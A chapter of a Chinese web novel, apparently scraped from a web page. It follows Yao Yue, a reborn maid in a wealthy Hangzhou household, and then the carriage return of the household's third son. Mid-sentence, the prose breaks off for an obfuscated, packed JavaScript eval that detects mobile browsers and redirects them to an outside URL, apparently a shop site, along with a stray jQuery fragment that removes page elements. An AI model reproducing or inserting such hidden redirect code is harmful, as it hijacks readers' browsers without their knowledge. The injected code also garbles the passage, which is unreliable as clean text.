本家到底是杭州一等一的阔气。
站在此处回望,亭榭楼台、雕梁绣柱,绵延出一整条巷子。
即便与前世“住”过的太兴宫相比,也只逊阔绰,不逊奢豪。
姚月抱着膝,靠在看楼二层的廊柱上。
墙外是做爷娘的带着四五岁的小孩敲盆讨饭。
墙里是本家主母带着小郎君吃馃子饮茶,看伶人们使出浑身解数以求暂留他们的目光。
怎不令人感慨。
早先听说这家人也姓“傅”,她还不大愿意来。
可是杭州粮价飞涨,她不得不低头。何况州里那么多姓傅的门户呢,全都躲着?北方几个省遭灾,听说易子相食的事都有不少,这样的世道,能让一家人填饱肚子,好好活着,不比什么都强!
前世她要是能领现在这么些月钱,许多祸事都不会找上门……
正走神的功夫,和她一起偷偷看戏的小丫头红儿抽噎起来。
伸手指了指戏台上那凄凄惨惨的苦情旦角。
“太可怜了,这娘子不过是想要个名分,做妾都愿意,怎么连这都不给?这男人心怎么这么狠?”红儿两把小刷子眉垮成了八字。
“人家摆明了嫌弃她,她还死乞白赖地求人家,是不是有些......”姚月噘着嘴,她是硬被红儿拉来看的。
这种戏码她最受不了,总觉得是在讽刺前世的自己似的,
虽说她那时也是不得已,但到底也是同样的卑微过——匍匐在那人的脚边,在他眼里犹如一条看一眼都不禁鄙弃作呕的虫豸......
她赶忙闭了闭眼,才触到回忆的边沿便立即缩回来。
多一瞬也不敢逗留。
红儿却似乎顶同情那台上的娘子,两只眼睛圆溜溜地瞪她。
“有些什么?就你好,就你机灵?难怪那么多新来的丫头,主母单挑了你去跟前伺候,是不是?”
姚月苦笑:“我说错了还不行,我的好姐姐。”
她如今也就二九年纪,叫个小女孩姐姐倒也不用脸红。
红儿却哼了声:“你呀,眼下是主母跟前的红人,日后是四郎的屋里人,还能记得我这个姐姐?”
“记得记得,我刚来的时候,就是个什么都不懂的洒扫丫头,只有姐姐疼我。嬷嬷给的白糖糕分给我,有了好差事也叫上我,我哪能忘?”
姚月将红儿的胳膊牢牢挽住,晃了晃。
红儿面上飞起红霞,却偏一副满不在乎的神色:“说你没见识吧,那些个芝麻绿豆的事也记着。”
姚月涎着脸,笑嘻嘻地点头。
红儿彻底没气生了,望着姚月只有满眼的羡慕。
“到底是个美人胚子,这一双眼睛跟汪着露水似的,还读过书,主母自是要选你的。你呀,盼着四郎快点回家来,讨他喜欢,让他抬你做个妾,日后享不尽的好日子哦。”
姚月也不知该说什么,只憨憨地笑笑。
进傅家的时候,明明说是让她做些粗活来着。突然有一日,主母点名要见她,又说她品貌俱佳,打算让她给四郎君做个“屋里人”,还根本不容她拒绝。
此事她翻来覆去地琢磨过,越琢磨越蹊跷。一来,她并非什么倾国倾城的美人,何以非得是她?二来,这位四郎数年前和家里闹翻,再没回来过,也没听说要什么时候回来。那何必提前找什么通房女人?
眼下她只盼着尽早存够钱,赶在四郎回来之前,赎回身契,如前世一般,带着阿婆和妹妹一路迁到塞北去。
且不说别的,几年后中原大乱,起义军杀进杭州,专挑些世族富户下手,她可不想成了这家的女人,跟着陪葬。
两人说话的这会功夫,戏台上已经换了场。
前头那段才子佳人的戏是额外加出来,讨主母欢心的,接下来的这段才是今日的重头戏——文曲星降世。
本家对科举似乎极为重视,从红儿说的事来看,或许比其他想振兴门户的南方大族都还要重视几分。
家主教子严厉,郎君们各个上进。年轻的主母帮不上忙,只好从别的地方使劲,在郎君们赶考前率众去文昌庙祈福,今日又赶在他们回来之前,请班子唱戏,颂文曲星。
姚月觉得把钱花在这些地方实在浪费,本朝进士科每年录不到十人,恐怕不是拜不拜神的事。
前世的那个人,早年活得跟条野狗似的,谁会为他求神,不还是照样考中。他还是条病狗,鬼门关里几进几出,也不碍着他撕咬、挣扎,爬到众人头顶上,号令天下......
姚月打了个激灵。
抬手使劲拍了拍脑袋,近日这是怎么了,总想起那人的事。
趁着暮色尚算浅淡,她告别了红儿,偷偷溜下楼,在主母回来之前先赶回了院子。
坐到榻沿上,时辰尚早。
借着油灯的光亮,从枕头里抽出信来反复地看。
阿婆和妹妹燕儿一切都好,她卖身的两贯钱足以将燕儿从那户刻薄人家赎出来。
前世,燕儿的身契是那个人用一根银发簪赎回来的,但今世她离开了钱塘那家医馆,就再不会遇见那个人。
不过这样最好,至少此生再不会重蹈覆辙。
到了信的末尾,燕儿说,巷子尾的邻居傅长钧来找过她,听说她来了余杭做婢女,很是惊讶,还特意问她是去了哪一家。
她抿了抿唇。
小傅先生虽也和那人一样姓傅,却是个好人,前世是,今世也是。
但无论如何,日后恐怕不会再见......
想到这她便决然止住了思绪。
明日一早,赶考的郎君们回来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415064|200749||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
必是要来这院给何氏请安,或许有她忙活的。
关于这几位郎君,她也事先打听过,红儿是这么说的:
“二郎君的丫头多,五郎君的规矩多,三郎君么......从前是奖赏得的多,如今是板子挨得多。”
*
晨光熹微之时,一大一小两辆马车已经驶入外城。
为首的那辆酸枝木双驾马车,车顶足有门上的匾额一样高,刷油亮的暗朱漆,挂双面绣宝相花的锦布帷子,还有腰间佩刀、肃然生寒的骑行护卫围在左右。放眼整个杭州,也少有这样的气派。
相形之下,后头那辆小小的马车则实在寒酸。暗帷晒得脱色,门框早已斑驳掉漆,稍遇到些坑洼就颠簸得人头昏脑胀。
驾车的长随荣儿眼看被前头的马车越甩越远,不禁撇了撇嘴。
“什么人呢,知道自家兄弟身子不适,也不请人同乘,也不说分几个护卫来。”
心里正咒骂着,眼见迎面来了辆银红帷子的马车。
仔细辨认了片刻,不禁皱起眉,给车里的人轻声提醒。
“三郎……怕是二娘子来了。”
片刻后,帘子里才有了反应。
“……哪个二娘子?”
男人的嗓音懒散轻浮,像是多一点力气也不肯用。
荣儿扁扁嘴,那二娘子赶考前还特来送行,一番情意到了郎君这竟不算什么。
“是主母的侄女,何县令千金......最小的那个。”说着将帘子挑开一条缝。
于是,苦药味弥漫的昏暗里,钻进一缕微黄的光。
那光朦朦胧胧的,分不清边界,在男人微微蹙起的眉心上落了一寸光点。
男人仍旧阖着眼,懒洋洋仰靠着车壁,挺了挺身,显出一段清癯的颈项。那熹微的光便在下颌上溜出个白亮的、刀锋似的边界,而后沿着颈上匀净的肌骨滑下去,流连过一颗柔和浮凸的喉结,晃悠悠地消失在衣领深处的暗影里。
帘外金玲清脆,迎面的车靠了过来。
“你们先出去吧。”女孩儿清嫩的口气尚算端庄,却透着些急迫。
也就片刻的功夫,那声音便雀跃地冲过来。
“……三哥哥,你回来了?”
他这才慢悠悠坐正了身子,肩头随意披挂的织锦外氅掉落,沿着两条颀长的腿滑了下去。
窗帘挑起,对面是一张比顶上的日头还明亮的笑脸,女孩儿的嗓音微微有些打颤,眼睛里是跳跃的光。
他因这不请自来的明亮蹙眉一瞬,却到底还是看过去。半张脸在黑暗里,半张脸浸了暖明的日光,映出如画的丘壑。
“……竟是二妹妹?早知如此,我这做哥哥的怎么也该下去迎你。”
他撩起单薄的眼皮看她,狭长的眼眸映了街边最温柔的柳色。